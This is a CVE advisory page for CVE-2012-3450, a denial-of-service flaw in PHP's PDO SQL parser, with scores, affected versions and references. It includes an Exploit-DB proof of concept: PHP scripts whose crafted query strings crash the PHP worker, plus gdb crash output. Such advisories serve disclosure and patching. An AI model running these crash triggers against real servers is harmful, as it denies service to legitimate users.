CVE-2012-3450 : Detail

CVE-2012-3450

6.21%V3
Network
2012-08-06
14h00 +00:00
2012-09-07
07h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

pdo_sql_parser.re in the PDO extension in PHP before 5.3.14 and 5.4.x before 5.4.4 does not properly determine the end of the query string during parsing of prepared statements, which allows remote attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted parameter value.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.6 AV:N/AC:H/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37566

Publication date : 2012-08-01 22h00 +00:00
Author : 0x721427D8
EDB Verified : Yes

source: https://www.securityfocus.com/bid/54777/info PHP is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users. PHP 5.4.3 is vulnerable; other versions may also be affected. <?php try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); //tokens: // SELECT;*;from;'user';/* //$sql = "SELECT * from 'user'/*"; $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query'])); $stmt->execute(); //crash $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); print_r( $type); } catch (Exception $e) { echo "Failed: " . $e->getMessage(); } ?> ----- <?php try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); //tokens: // SELECT;*;from;'user';/* $sql = ":/*"; $stmt = $db->prepare($sql); $stmt->execute(); // crashes php worker in pdo_parse_params() $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); print_r( $type); } catch (Exception $e) { echo "Failed: " . $e->getMessage(); } ?> --- <pre> <?php echo "hmm beginning\n"; try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); echo "lets get it on\n"; //tokens: // SELECT;*;from;'user';/* $sql = "SELECT * from user :/**"; echo $sql; $stmt = $db->prepare($sql); echo "prepared :)\n"; print_r($stmt); $stmt->execute(); // crashes php worker in pdo_parse_params() print_r($stmt); echo "executed :(\n"; $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); echo "--data-\n"; print_r( $type); echo "--data--\n"; } catch (Exception $e) { echo "EXCEPTION"; echo "Failed: " . $e->getMessage(); } echo "hmmm end\n"; ?> </pre> Actual result: -------------- root@bt:/opt/lampp# gdb ./bin/php (gdb) run poc_pdo_linux_short_1.php Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x08228a81 in ?? () (gdb) bt #0 0x08228a81 in ?? () #1 0x082280eb in pdo_parse_params () #2 0x08223891 in ?? () #3 0x084b2aad in ?? () #4 0x084b1f87 in execute () #5 0x08490ed2 in zend_execute_scripts () #6 0x0843f13c in php_execute_script () #7 0x08506b46 in main ()

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.13

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

Php>>Php >> Version 5.3.8

Php>>Php >> Version 5.3.9

Php>>Php >> Version 5.3.10

Php>>Php >> Version 5.3.11

Php>>Php >> Version 5.3.12

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

Php>>Php >> Version 5.4.3

References

http://www.openwall.com/lists/oss-security/2012/08/02/7
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2012/dsa-2527
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.openwall.com/lists/oss-security/2012/08/02/3
Tags : mailing-list, x_refsource_MLIST
https://bugs.php.net/bug.php?id=61755
Tags : x_refsource_CONFIRM
http://seclists.org/bugtraq/2012/Jun/60
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.mandriva.com/security/advisories?name=MDVSA-2012:108
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/USN-1569-1
Tags : vendor-advisory, x_refsource_UBUNTU